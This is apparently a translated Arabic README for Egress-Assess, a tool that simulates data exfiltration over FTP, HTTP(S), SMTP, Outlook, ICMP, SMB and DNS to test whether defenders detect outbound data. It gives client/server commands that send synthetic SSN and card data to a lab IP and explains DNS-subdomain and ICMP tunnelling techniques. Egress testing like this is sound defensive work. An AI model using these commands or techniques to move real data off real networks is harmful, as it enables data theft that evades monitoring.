
أداة اختبار تسريب بيانات متعددة البروتوكولات تحاكي سيناريوهات الخروج الفعلية عبر FTP وHTTP وHTTPS وDNS وICMP وSMB وSMTP وSFTP للتحقق من قدرات الكشف.
Egress-Assess هي أداة تُستخدم لاختبار قدرات كشف البيانات الصادرة.
لإعداد الأداة، قم بتشغيل سكريبت الإعداد المرفق، أو نفذ الخطوات التالية:
openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
المقالات متاحة هنا:
حالة الاستخدام النموذجية لـ Egress-Assess هي نسخ هذه الأداة إلى موقعين. سيعمل أحد الموقعين كخادم، والآخر كعميل. يمكن لـ Egress-Assess إرسال البيانات عبر FTP وHTTP وHTTPS.
لاستخراج البيانات عبر FTP، ستبدأ أولاً خادم FTP الخاص بـ Egress-Assess عن طريق اختيار --server ftp وتوفير اسم مستخدم وكلمة مرور:
./Egress-Assess.py --server ftp --username testuser --password pass123
الآن، لتوصيل العميل وإرسال البيانات إلى خادم FTP، يمكنك تشغيل...
./Egress-Assess.py --client ftp --username testuser --password pass123 --ip 192.168.63.149 --datatype ssn
أيضًا، يمكنك إعداد Egress-Assess ليعمل كخادم ويب عن طريق تشغيل....
./Egress-Assess.py --server https
ثم، لإرسال البيانات إلى خادم FTP، وبالتحديد إرسال 15 ميغا من بيانات بطاقات الائتمان، قم بتشغيل الأمر التالي...
./Egress-Assess.py --client https --data-size 15 --ip 192.168.63.149 --datatype cc
أمور أخرى جديرة بالملاحظة:
SMTP - يقوم العميل بإنشاء رسالة بريد إلكتروني ويضع البيانات في نص الرسالة أو إذا كانت ملفًا، كمرفق. ثم يحاول العميل إنشاء اتصال SMTP بخادم EgressAssess عبر المنفذ 25 (أو منفذ بديل إذا تم توفيره). لا يتطلب خادم SMTP مصادقة ويقبل الاتصال الوارد ويعالج البريد الإلكتروني. تأخذ معالجة رسالة البريد البيانات من نص البريد الإلكتروني أو من الملف المرفق في الرسالة. لا يحاول هذا الاختبار إرسال البريد الإلكتروني عبر خادم البريد الإلكتروني للمؤسسة.
SMTP_Outlook – (هذه الوحدة متاحة فقط في عميل PowerShell). إذا تم تكوين عميل Outlook مسبقًا، يقوم عميل PowerShell بإنشاء كائن COM لـ Outlook (قد يتطلب ذلك من المستخدم تقديم مصادقة حسب التكوين). ثم يقوم عميل PowerShell بإنشاء رسالة بريد إلكتروني تحتوي على البيانات في نص الرسالة أو إذا كانت ملفًا، كمرفق. يتم إرسال رسائل البريد الإلكتروني من Outlook كمستخدم تم تكوينه مسبقًا. (قد تخطر بعض إعدادات الأمان المستخدم بأن برنامجًا يحاول إرسال رسائل بريد إلكتروني في الخلفية ويحتاج إلى السماح). لكي تعمل هذه الوحدة، يجب إنشاء سجل MX لخادم EgressAssess. يقبل خادم SMTP الخاص بـ EgressAssess جميع رسائل البريد الإلكتروني المرسلة إلى نطاق سجل MX ويستلم البريد الإلكتروني مع المرفقات أو البيانات كنص في نص الرسالة.
Invoke-EssessAgress -Client SMTPOutlook -IP <domain of SMTP Sever> -NoPing -DataType "ssn"
ICMP - يتم تقسيم البيانات إلى بايتات وتشفيرها بتنسيق base64 وإرسالها عبر الشبكة في طلب ICMP من نوع 8 ECHO. توضع البيانات داخل حقل البيانات في الحزمة. يتم إرسال طلبات ECHO بشكل مستمر إلى خادم EgressAssess الذي يستقبل طلب ICMP ويجمع البيانات ويفك تشفيرها.
FTP - يتم رفع البيانات والملفات إلى خادم FTP الخاص بـ EgressAssess باتباع استخدام البروتوكول النموذجي. يتم استخدام اسم مستخدم وكلمة مرور للوصول إلى الخادم. راجع الأمثلة أعلاه.
SFTP - يتم رفع البيانات والملفات باتباع بروتوكول SFTP. يتم استخدام اسم مستخدم وكلمة مرور للوصول إلى الخادم.
HTTP(S) - تُرسل البيانات والملفات عبر طلب POST إلى خادم الويب الخاص بـ EgressAssess. بالنسبة لعميل Python، تُنشر البيانات على http(s):///post_data.php وبالنسبة لعميل PowerShell تُنشر البيانات على http(s):///posh_file.php.
SMB - يقوم خادم EgressAssess (باستخدام SimpleSMBserver الخاص بـ Impacket) بإنشاء مشاركة SMB باسم /TRANSFER. يتصل النظام العميل بالمشاركة بدون مصادقة وينقل الملف. تمامًا مثل الاتصال بمشاركة شبكة ونسخ ملف. يوجد خيار لإضافة اسم مستخدم وكلمة مرور للمصادقة أيضًا إذا رغبت. كما هو مذكور أعلاه، حدد النظام الذي تسرب منه وسياسات الأمان الخاصة به لمعرفة ما إذا كان يمكنك استخدام SMBv1 القديم الضعيف أو تحتاج إلى تمكين SMBv2.
DNS_TXT - يتم تقسيم البيانات والملفات إلى بايتات ثم تحويلها إلى base64 وتقطيعها إلى استعلامات DNS TXT منفصلة تُوجه إلى عنوان IP أو اسم نطاق. يحاول العميل الاتصال مباشرة بخادم EgressAssess ويقوم باستعلام DNS TXT. ثم يقوم الخادم بتصفية البيانات من الحزم وفك تشفيرها. في عميل PowerShell، يوجد خيار للاستعلامات المكدسة. سيقوم هذا بإجراء ما يصل إلى 7 استعلامات TXT في كل طلب DNS على الخادم مما يزيد من سرعة تسريب البيانات.
DNS_Resolved - يتم تقسيم البيانات والملفات إلى بايتات ثم تحويلها إلى base64. ثم يتم تقطيع البيانات واستخدامها كجزء من طلب DNS لحل اسم نطاق فرعي. <encoded_data>.domain.com. لكي يعمل هذا، يجب إعداد سجل NS للنطاق لخادم EgressAssess. يتم توجيه جميع طلبات DNS إلى خادم الأسماء المحدد في النظام وتصل في النهاية إلى خادم EgressAssess الذي تم إعداده مسبقًا. يأخذ خادم EgressAssess قسم البيانات من كل طلب ويعيد تجميع الملف.